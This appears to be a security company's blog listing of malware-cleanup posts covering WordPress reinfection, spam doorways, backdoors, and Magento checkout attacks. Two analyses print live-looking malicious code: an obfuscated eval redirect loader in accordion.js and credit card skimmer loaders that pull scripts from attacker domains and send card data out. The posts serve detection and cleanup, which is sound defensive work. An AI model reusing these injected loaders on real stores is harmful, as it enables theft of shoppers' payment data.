Home Testimonials Company Support 1–888–873–0817
Home Notes Malware Signatures About

Recently we cleaned a site that had a malicious wp-page.php file at the root of the WordPress site. It was responsible for pharma spam doorways created on this site. The file was quickly located and deleted. To our surprise, when we loaded that wp-page.php in a browser to verify that the problem was resolved, the malicious content was still there. And the headers stated that it was not a cached page.

We checked the file on server - indeed it was there with a very fresh modification date. We deleted the file again and a few seconds later the file was recreated. This behavior was typical for malware that used cronjobs to reinfect sites. However, when we checked the user’s crontab, we didn’t find any suspicious cron jobs there.

Read More ...

Sharing spam content and getting blacklisted is not a matter of choice when a website is hacked, these are just some of the consequences when attackers compromise a blog/website and that is why it is so important to have security measures/policies in place to prevent such issues from happening.

Read More ...

We often find code that is developed with good intent but the security aspects of it are not always taken into consideration.

During a routine cleanup investigation we found a php script in a theme that used mail capabilities without any type of security check or direct access prevention. Because of that, attackers would be able to abuse such features and send mass SPAM.

This script is part of one premium WordPress theme and here is a snippet of it (with comments removed):

Read More ...

Spammers are constantly looking for ways make use of resources of hacked sites in their black hat SEO schemes. In most cases, spam injections and doorway script are quite hard to detect but in this example attackers didn’t worry much about that aspect.

The technique consists of abusing server resources (storage and database) by installing spammy WordPress sites (Oakley and Ray Ban spam in our case) in subdirectories of the original site and providing additional scripts to automate WordPress management (they probably don’t know about the XML-RPC API).

During our investigation, we identified common patterns between different infected websites with this type of injection.

Read More ...

Backdoors can be simple and powerful at the same time. They’re also very common to be seen along with any kind of infection so that an attacker can get unauthorized access to the server and, although you try to clean the whole malicious content from your website, they can be used to reinfect it again and again.

Here is a small example of an ASP.NET backdoor in a website running on IIS:

Read More ...

We see a strong trend in hacking ecommerce sites in order to hijack payment process and steal customers credit card details. During the last couple of years, we wrote multiple times about attacks that target Magento, OpenCart, PrestaShop, Woo Commerce and other ecommerce platforms.

Recently we found one more proof of increased attention to ecommerce sites from hackers. On one hacked WordPress site, among other uploaded backdoors, we found quite a big script (>600 lines of code) script whose only purpose was to scan the compromised server for online shop sites

Read More ...

The checkout process is one of the most important steps for any e-commerce business. The user experience during this process will set the tone for the entire interaction and fortunately lead to a successful sale. Because of that fact, attackers have been targeting Magento installations in order to steal sensitive information (credit card data, paypal logins) and in this case, promote websites for their monetary gains.

During our malware investigation process, we found an interesting piece of code redirecting users during the checkout process to a page not intended by the website owner. After selecting the products and clicking on the “Proceed to checkout” the user was redirected to: hxxp://bestdealsweek[.]com

The malicious code was located inside "/js/varien/accordion.js" and here is the content (obfuscated):

var x="\'%kVg\'%YZaVn\'%(9\'%&%%(7%6\'%\'%hZiI^bZdji\'-\'\'YdXjbZci#adXVi^dc#]gZ[(9\',]iie(6$$WZhiYZVahlZZ`#Xdb\',\'\'\'8\'%YZaVn\'.(7",y="",w="",z;z=x['length'];
for(i=0;i<z;i++){y+=String['fromCharCode'](x['charCodeAt'](i)+11) }w=this['unescape'](y);this['eval'](w);

This particular file in addition to "/skin/frontend/base/default/js/opcheckout.js" create a Javascript Layer responsible for submitting step data to the checkout controller and interpreting controller responses to update the content of the checkout steps. This layer allows the checkout process to be completed without the browser having to load every request in a new page.

This is how the accordion.js was injected into the One Page checkout:

<script type="text/javascript"src="hxxps://domain/js/varien/accordion.js"></script> 

After decoding it, we can see the redirect:

var delay = 100;

This is one of the many injection techniques attackers have been using against Magento e-commerce sites to make a profit. To reduce the risks of such injections, we recommend keeping all software updated (themes, plugins, core files), using a Website Application Firewall, having a File Integrity Monitoring system to detect file modifications and taking regular backups.

We recently wrote about a Drupal black-hat SEO hack that among other things redirected users coming from Google to botscache[.]com site. It hijacked the bootstrapping process via the session_inc variable in database, then made Drupal load a malicious file from the global /tmp directory instead of the standard includes/session.inc file.

This malware evolves and we have found its new variation. Again, the only malicious code that could be found within the site structure was just a file name. This time it was in the system table and it was the name of the file to load a Drupal module from. However, the file had a .jpg extension and it was loaded from a directory that belonged to a different website under the same server account ../otherwebsite/sites/default/files/slides/Search.jpg.

Taking a look at that Search.jpg file we can see the following code:

Read More ...

Malware uses encryption, obfuscation and other tricks to prevent its detection so that the compromised sites stay infected for as long as possible. Quite often it’s not easy to spot a malicious code even if you see it, especially if you are not a professional programmer or security analysts.

But sometimes, the malware is very straightforward. For example, we found this backdoor installer in file called robots.php in one WordPress theme. It doesn’t use any encryption, has properly indented code and very clear descriptive variable name and comments. You shouldn’t think twice when you see such a code:

Read More ...

Lately we’ve been analysing multiple credit card stealers for Magento. We are seeing an increase trend there as attackers can more easily monetize a compromised e-commerce site compared to one without credit card data.

This new variation the CC stealer isn’t injected directly into the website but loaded from an external source. Loading the code from another source allows the attacker to perform any modifications in the malware source code without the need of “reinfecting” the site.

Here is a snippet of the code that we found inside Magento's /js/lib/ccard.js

<!-- Google Code for Remarketing Tag -->
if((new RegExp('onepage|checkout|onestep|firecheckout')).test(window.location))
{document.write('<script src="hxxps://jquery -cdn .top/mage .js"></script>')};
<!-- Google Code for Remarketing Tag -->

Basically this javascript acts like a man-in-the-middle between the user and the checkout process/page and whenever a credit card information is provided, it allows the original processing from the CMS but at the same time it forwards the data to a malicious domain at hxxps://jquery-cdn . top/ mag.php.

We also found a slightly different version of the malicious code inside /js/scriptaculous/effects.js:

if((new RegExp('onepage|checkout|onestep|fircheckout')).test(window.location)) {document.write('>tpircs/<>"sj.egam/ue.todstats//:spxxh"=crs tpircs<'.split("").reverse().join(""))}

Putting the code in a readable format we get:

if ((new RegExp('onepage|checkout|onestep|firecheckout')).test(window.location)) {
	document.write('<script src="hxxps:// statsdot. eu/mage.js"></script>)

In this case, the script uses the domain hxxps:// statsdot. eu to load the javascript and it sends the credit card data over to hxxps://statsdot .eu /mag.php

Interesting point about these domains is that attackers are sending the stolen information through secure channels (https). And, even though the credit card information isn’t processed directly at your shop, it’s very important to ensure that your website is updated and has the latest patches installed.

Moreover, in order to detect, mitigate and prevent such issues from happening, we also recommend having a Website Application Firewall (WAF) in place, keeping regular backups and using a File Integrity Monitoring tool to ensure the integrity of your file system.